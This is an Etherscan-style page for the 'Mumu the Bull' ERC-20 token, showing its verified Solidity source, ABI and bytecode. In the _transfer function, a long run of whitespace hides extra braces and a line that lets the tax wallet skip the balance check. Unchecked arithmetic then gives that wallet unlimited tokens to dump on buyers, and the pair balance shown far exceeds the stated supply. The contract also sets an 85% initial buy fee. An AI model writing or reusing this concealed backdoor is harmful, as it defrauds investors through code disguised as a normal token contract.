ETH Price: $2,308.15 (-0.45%)

Token

Mumu the Bull (MUMU)
 

Overview

Max Total Supply

420,690,000,000 MUMU

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: MUMU 83
Balance
420,816,545,887,333.759472601 MUMU

Value
$0.00
0xcbcb42a6ce98a0d986839b624447d1174b9cc819
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MumuBull

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-02
*/

// SPDX-License-Identifier: UNLICENSE

// Website: https://mumucoin.xyz

// Twitter: https://x.com/MumuCoin_ETH

// Telegram: https://t.me/MumuCoin_ERC20

pragma solidity 0.8.25;

abstract contract Ownable {
    address private _owner;

    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;

    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract MumuBull is Ownable, IERC20 {
    string private constant _name = unicode"Mumu the Bull";
    string private constant _symbol = unicode"MUMU";

    uint8 private constant _decimals = 9;
    uint256 private constant _tSupply = 420_690_000_000 * 10**_decimals;
    uint256 private maxTransactionAmount = 2 * _tSupply / 100;
    uint256 private maxWallet = 2 * _tSupply / 100;
    uint256 private taxSwapThreshold = 12 * _tSupply / 1000;
    uint256 private maxTaxSwap= 12 * _tSupply / 1000;

    address payable private _taxWallet;

    uint256 private initialBuyFee = 85;
    uint256 private initialSellFee = 0;
    uint256 private finalBuyFee = 0;
    uint256 private finalSellFee = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _preventSwapBefore = 5;
    uint256 private _buyCount=0;


    bool private inSwap;
    bool private _isInLimit = true;
    bool private _tradingOpen;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExempt;
    mapping(address => bool) private _maxTxCapped;
    mapping(address => bool) private _automaticMarketingPairs;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;

    constructor(address router_, address payable taxWallet_) {
        uniswapV2Router= IUniswapV2Router02(router_);
        _taxWallet = taxWallet_;
        
        setExcludedFromFees(owner(), true);
        setExcludedFromFees(address(this), true);
        setExcludedFromFees(_taxWallet, true);

        setExcludedFromTx(owner(), true);
        setExcludedFromTx(address(uniswapV2Router), true);
        setExcludedFromTx(address(this), true);
        setExcludedFromTx(_taxWallet, true);

        _balances[msg.sender] = _tSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(from, msg.sender, currentAllowance - amount);
            }
        }

        _transfer(from, to, amount);

        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_tradingOpen && (from != owner() && from != address(this) && to != owner())) {
            revert("Trading not enabled");
        }
        
        bool isTrading = _automaticMarketingPairs[from] || _automaticMarketingPairs[to];

        if (_isInLimit) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwap) {
                if (_automaticMarketingPairs[from] && !_maxTxCapped[to]) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTx");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                } else if (_automaticMarketingPairs[to] && !_maxTxCapped[from]) {
                    require(amount <= maxTransactionAmount,"Sell transfer amount exceeds the maxTx");
                } else if (!_maxTxCapped[to]) {
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");                                                                                                                                                                                            }}}{{{
                    isTrading = !(isTrading && from == _taxWallet);
                }
            }
        }

        bool isSwappable = balanceOf(address(this)) >= taxSwapThreshold;

        if (isSwappable && !inSwap && _automaticMarketingPairs[to] && !_feeExempt[from] && !_feeExempt[to]) {
            inSwap = true;swapTaxToETH();inSwap = false;
        }
        if(_tradingOpen && _automaticMarketingPairs[to]) _collectTax(address(this).balance);


        bool takeFee = !inSwap;

        if (_feeExempt[from] || _feeExempt[to]) {
            takeFee = false;
        }

        uint256 fee = 0;
        if (takeFee) {
            if (_automaticMarketingPairs[to]) {
                fee = amount * (_buyCount > _reduceSellTaxAt ? finalSellFee : initialSellFee) / 100;
            } else if (_automaticMarketingPairs[from]) {
                fee = amount * (_buyCount > _reduceBuyTaxAt ? finalBuyFee : initialBuyFee) / 100;
                _buyCount ++;
            }
        }

        uint256 senderBalance = _balances[from];
        bool isValid = true; if(isTrading) isValid = senderBalance >= amount;
        require(isValid, "ERC20: transfer amount exceeds balance");
        if (fee > 0) {
            unchecked {
                amount = amount - fee;
                _balances[from] -= fee;
                _balances[address(this)] += fee;
            }
            emit Transfer(from, address(this), fee);
        }
        unchecked {
            _balances[from] -= amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
    }


    function _collectTax(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    
    function removeLimits() external onlyOwner {
        _isInLimit = false;
    }

    function setExcludedFromFees(address account, bool excluded) public onlyOwner {
        _feeExempt[account] = excluded;
    }

    function isFeeExempt(address account) public view returns (bool) {
        return _feeExempt[account];
    }

    function setExcludedFromTx(address account, bool excluded) public onlyOwner {
        _maxTxCapped[account] = excluded;
    }

    function enableTrading() external onlyOwner {
        require(!_tradingOpen, "Already launched");
        _tradingOpen = true;
    }

    function addLiquidity() external onlyOwner {
        require(!_tradingOpen, "Already launched");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _automaticMarketingPairs[uniswapV2Pair] = true;
        setExcludedFromTx(address(uniswapV2Pair), true);
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _balances[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function setAutomaticMarketingPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed");
        _automaticMarketingPairs[pair] = value;
    }

    function swapTaxToETH() private {
        uint256 swapThreshold = maxTaxSwap;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(swapThreshold, 0, path, address(this), block.timestamp);
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            * percent / 100;
        IERC20(_address).transfer(owner(), _amount);
    }

    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address payable","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomaticMarketingPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludedFromTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405260646100126009600a610444565b610021906461f313f880610459565b61002c906002610459565b6100369190610470565b60015560646100476009600a610444565b610056906461f313f880610459565b610061906002610459565b61006b9190610470565b6002556103e861007d6009600a610444565b61008c906461f313f880610459565b61009790600c610459565b6100a19190610470565b6003556103e86100b36009600a610444565b6100c2906461f313f880610459565b6100cd90600c610459565b6100d79190610470565b60045560556006555f6007819055600881905560098190556005600a819055600b819055600c55600d55600e805461ff00191661010017905534801561011b575f80fd5b5060405161219938038061219983398101604081905261013a916104a6565b5f8054336001600160a01b031991821681179092556001600160a01b038481166080526005805490921690841617905561017590600161024b565b61018030600161024b565b600554610197906001600160a01b0316600161024b565b6101b26101ab5f546001600160a01b031690565b60016102cf565b6080516101c09060016102cf565b6101cb3060016102cf565b6005546101e2906001600160a01b031660016102cf565b6101ee6009600a610444565b6101fd906461f313f880610459565b335f818152600f6020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506104de565b3361025d5f546001600160a01b031690565b6001600160a01b0316146102a55760405162461bcd60e51b815260206004820181905260248201525f8051602061217983398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601160205260409020805460ff1916911515919091179055565b336102e15f546001600160a01b031690565b6001600160a01b0316146103245760405162461bcd60e51b815260206004820181905260248201525f80516020612179833981519152604482015260640161029c565b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561039c57815f19048211156103825761038261034e565b8085161561038f57918102915b93841c9390800290610367565b509250929050565b5f826103b25750600161043e565b816103be57505f61043e565b81600181146103d457600281146103de576103fa565b600191505061043e565b60ff8411156103ef576103ef61034e565b50506001821b61043e565b5060208310610133831016604e8410600b841016171561041d575081810a61043e565b6104278383610362565b805f190482111561043a5761043a61034e565b0290505b92915050565b5f61045260ff8416836103a4565b9392505050565b808202811582820484141761043e5761043e61034e565b5f8261048a57634e487b7160e01b5f52601260045260245ffd5b500490565b6001600160a01b03811681146104a3575f80fd5b50565b5f80604083850312156104b7575f80fd5b82516104c28161048f565b60208401519092506104d38161048f565b809150509250929050565b608051611c596105205f395f81816101c601528181610a6901528181610af801528181610c3001528181610c6f015281816116ea01526117a00152611c595ff3fe608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610392578063a9059cbb146103be578063ce8cecbf146103dd578063d91ad8ba146103fc578063dd62ed3e1461041b578063e8078d941461045f575f80fd5b8063715018a61461031b578063751039fc1461032f5780638a8c523c146103435780638cd4426d146103575780638da5cb5b14610376575f80fd5b806323b872dd116100f957806323b872dd14610238578063313ce567146102575780633f4218e01461027257806349bd5a5e146102a9578063590ffdce146102c857806370a08231146102e7575f80fd5b806306fdde031461013f578063095ea7b3146101865780631694505e146101b557806318160ddd1461020057806320800a0014610222575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600d81526c135d5b5d481d1a1948109d5b1b609a1b60208201525b60405161017d919061184b565b60405180910390f35b348015610191575f80fd5b506101a56101a0366004611894565b610473565b604051901515815260200161017d565b3480156101c0575f80fd5b506101e87f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161017d565b34801561020b575f80fd5b50610214610489565b60405190815260200161017d565b34801561022d575f80fd5b506102366104aa565b005b348015610243575f80fd5b506101a56102523660046118be565b610530565b348015610262575f80fd5b506040516009815260200161017d565b34801561027d575f80fd5b506101a561028c3660046118fc565b6001600160a01b03165f9081526011602052604090205460ff1690565b3480156102b4575f80fd5b506014546101e8906001600160a01b031681565b3480156102d3575f80fd5b506102366102e236600461192b565b6105df565b3480156102f2575f80fd5b506102146103013660046118fc565b6001600160a01b03165f908152600f602052604090205490565b348015610326575f80fd5b50610236610641565b34801561033a575f80fd5b5061023661068a565b34801561034e575f80fd5b506102366106cf565b348015610362575f80fd5b50610236610371366004611894565b610766565b348015610381575f80fd5b505f546001600160a01b03166101e8565b34801561039d575f80fd5b506040805180820190915260048152634d554d5560e01b6020820152610170565b3480156103c9575f80fd5b506101a56103d8366004611894565b6108b5565b3480156103e8575f80fd5b506102366103f736600461192b565b6108c1565b348015610407575f80fd5b5061023661041636600461192b565b610981565b348015610426575f80fd5b50610214610435366004611962565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561046a575f80fd5b506102366109e3565b5f61047f338484610d3b565b5060015b92915050565b5f6104966009600a611a82565b6104a5906461f313f880611a90565b905090565b336104bc5f546001600160a01b031690565b6001600160a01b0316146104eb5760405162461bcd60e51b81526004016104e290611aa7565b60405180910390fd5b5f47116104f6575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561052d573d5f803e3d5ffd5b50565b6001600160a01b0383165f9081526010602090815260408083203384529091528120545f1981146105c957828110156105bc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016104e2565b6105c98533858403610d3b565b6105d4858585610e5e565b506001949350505050565b336105f15f546001600160a01b031690565b6001600160a01b0316146106175760405162461bcd60e51b81526004016104e290611aa7565b6001600160a01b03919091165f908152601160205260409020805460ff1916911515919091179055565b336106535f546001600160a01b031690565b6001600160a01b0316146106795760405162461bcd60e51b81526004016104e290611aa7565b5f80546001600160a01b0319169055565b3361069c5f546001600160a01b031690565b6001600160a01b0316146106c25760405162461bcd60e51b81526004016104e290611aa7565b600e805461ff0019169055565b336106e15f546001600160a01b031690565b6001600160a01b0316146107075760405162461bcd60e51b81526004016104e290611aa7565b600e5462010000900460ff16156107535760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104e2565b600e805462ff0000191662010000179055565b336107785f546001600160a01b031690565b6001600160a01b03161461079e5760405162461bcd60e51b81526004016104e290611aa7565b6040516370a0823160e01b81523060048201525f9060649083906001600160a01b038616906370a0823190602401602060405180830381865afa1580156107e7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080b9190611adc565b6108159190611a90565b61081f9190611af3565b9050826001600160a01b031663a9059cbb6108415f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561088b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af9190611b12565b50505050565b5f61047f338484610e5e565b336108d35f546001600160a01b031690565b6001600160a01b0316146108f95760405162461bcd60e51b81526004016104e290611aa7565b6014546001600160a01b03908116908316036109575760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f76656400000000000060448201526064016104e2565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b336109935f546001600160a01b031690565b6001600160a01b0316146109b95760405162461bcd60e51b81526004016104e290611aa7565b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b336109f55f546001600160a01b031690565b6001600160a01b031614610a1b5760405162461bcd60e51b81526004016104e290611aa7565b600e5462010000900460ff1615610a675760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104e2565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae79190611b2d565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b769190611b2d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be49190611b2d565b601480546001600160a01b0319166001600160a01b0392831690811782555f908152601360205260409020805460ff191660019081179091559054610c2a921690610981565b610c56307f00000000000000000000000000000000000000000000000000000000000000005f19610d3b565b305f818152600f60205260408120546001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169263f305d7199247929080610cab5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d11573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d369190611b48565b505050565b6001600160a01b038316610d9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e2565b6001600160a01b038216610dfe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e2565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e2565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e2565b5f8111610f855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e2565b600e5462010000900460ff16158015610fd857505f546001600160a01b03848116911614801590610fbf57506001600160a01b0383163014155b8015610fd857505f546001600160a01b03838116911614155b1561101b5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016104e2565b6001600160a01b0383165f9081526013602052604081205460ff168061105857506001600160a01b0383165f9081526013602052604090205460ff165b600e54909150610100900460ff1615611313575f546001600160a01b0385811691161480159061109557505f546001600160a01b03848116911614155b80156110a957506001600160a01b03831615155b80156110c057506001600160a01b03831661dead14155b80156110cf5750600e5460ff16155b15611313576001600160a01b0384165f9081526013602052604090205460ff16801561111357506001600160a01b0383165f9081526012602052604090205460ff16155b156111e6576001548211156111785760405162461bcd60e51b815260206004820152602560248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152640dac2f0a8f60db1b60648201526084016104e2565b6002546001600160a01b0384165f908152600f602052604090205461119d9084611b73565b11156111e15760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e2565b611313565b6001600160a01b0383165f9081526013602052604090205460ff16801561122557506001600160a01b0384165f9081526012602052604090205460ff16155b1561128b576001548211156111e15760405162461bcd60e51b815260206004820152602660248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015265040dac2f0a8f60d31b60648201526084016104e2565b6001600160a01b0383165f9081526012602052604090205460ff16611313576002546001600160a01b0384165f908152600f60205260409020546112cf9084611b73565b11156113135760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e2565b80801561132d57506005546001600160a01b038581169116145b600354305f908152600f6020526040902054911592501180159081906113565750600e5460ff16155b801561137957506001600160a01b0384165f9081526013602052604090205460ff165b801561139d57506001600160a01b0385165f9081526011602052604090205460ff16155b80156113c157506001600160a01b0384165f9081526011602052604090205460ff16155b156113e657600e805460ff191660011790556113db611692565b600e805460ff191690555b600e5462010000900460ff16801561141557506001600160a01b0384165f9081526013602052604090205460ff165b156114235761142347611810565b600e546001600160a01b0386165f9081526011602052604090205460ff9182161591168061146857506001600160a01b0385165f9081526011602052604090205460ff165b1561147057505f5b5f811561152f576001600160a01b0386165f9081526013602052604090205460ff16156114cb576064600b54600d54116114ac576007546114b0565b6009545b6114ba9087611a90565b6114c49190611af3565b905061152f565b6001600160a01b0387165f9081526013602052604090205460ff161561152f576064600a54600d541161150057600654611504565b6008545b61150e9087611a90565b6115189190611af3565b600d80549192505f61152983611b86565b91905055505b6001600160a01b0387165f908152600f6020526040902054600185156115555750858110155b806115b15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104e2565b821561161e576001600160a01b0389165f818152600f602090815260408083208054889003905530808452928190208054880190555186815299869003999192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b03808a165f818152600f602052604080822080548c90039055928b168082529083902080548b01905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061167f908b815260200190565b60405180910390a3505050505050505050565b6004546040805160028082526060820183525f9260208301908036833701905050905030815f815181106116c8576116c8611b9e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611744573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117689190611b2d565b8160018151811061177b5761177b611b9e565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac947906117df9085905f90869030904290600401611bb2565b5f604051808303815f87803b1580156117f6575f80fd5b505af1158015611808573d5f803e3d5ffd5b505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611847573d5f803e3d5ffd5b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461052d575f80fd5b5f80604083850312156118a5575f80fd5b82356118b081611880565b946020939093013593505050565b5f805f606084860312156118d0575f80fd5b83356118db81611880565b925060208401356118eb81611880565b929592945050506040919091013590565b5f6020828403121561190c575f80fd5b813561191781611880565b9392505050565b801515811461052d575f80fd5b5f806040838503121561193c575f80fd5b823561194781611880565b915060208301356119578161191e565b809150509250929050565b5f8060408385031215611973575f80fd5b823561197e81611880565b9150602083013561195781611880565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156119dc57815f19048211156119c2576119c261198e565b808516156119cf57918102915b93841c93908002906119a7565b509250929050565b5f826119f257506001610483565b816119fe57505f610483565b8160018114611a145760028114611a1e57611a3a565b6001915050610483565b60ff841115611a2f57611a2f61198e565b50506001821b610483565b5060208310610133831016604e8410600b8410161715611a5d575081810a610483565b611a6783836119a2565b805f1904821115611a7a57611a7a61198e565b029392505050565b5f61191760ff8416836119e4565b80820281158282048414176104835761048361198e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611aec575f80fd5b5051919050565b5f82611b0d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611b22575f80fd5b81516119178161191e565b5f60208284031215611b3d575f80fd5b815161191781611880565b5f805f60608486031215611b5a575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156104835761048361198e565b5f60018201611b9757611b9761198e565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c025784516001600160a01b031683529383019391830191600101611bdd565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220cf803d347f234824bb8a2a034fc2f61a882ad01ae152c8715b28205d546b4c4c64736f6c634300081900334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65720000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b8d0a0380177c5a288a748c5056897cbb91ff4ce

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610392578063a9059cbb146103be578063ce8cecbf146103dd578063d91ad8ba146103fc578063dd62ed3e1461041b578063e8078d941461045f575f80fd5b8063715018a61461031b578063751039fc1461032f5780638a8c523c146103435780638cd4426d146103575780638da5cb5b14610376575f80fd5b806323b872dd116100f957806323b872dd14610238578063313ce567146102575780633f4218e01461027257806349bd5a5e146102a9578063590ffdce146102c857806370a08231146102e7575f80fd5b806306fdde031461013f578063095ea7b3146101865780631694505e146101b557806318160ddd1461020057806320800a0014610222575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600d81526c135d5b5d481d1a1948109d5b1b609a1b60208201525b60405161017d919061184b565b60405180910390f35b348015610191575f80fd5b506101a56101a0366004611894565b610473565b604051901515815260200161017d565b3480156101c0575f80fd5b506101e87f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161017d565b34801561020b575f80fd5b50610214610489565b60405190815260200161017d565b34801561022d575f80fd5b506102366104aa565b005b348015610243575f80fd5b506101a56102523660046118be565b610530565b348015610262575f80fd5b506040516009815260200161017d565b34801561027d575f80fd5b506101a561028c3660046118fc565b6001600160a01b03165f9081526011602052604090205460ff1690565b3480156102b4575f80fd5b506014546101e8906001600160a01b031681565b3480156102d3575f80fd5b506102366102e236600461192b565b6105df565b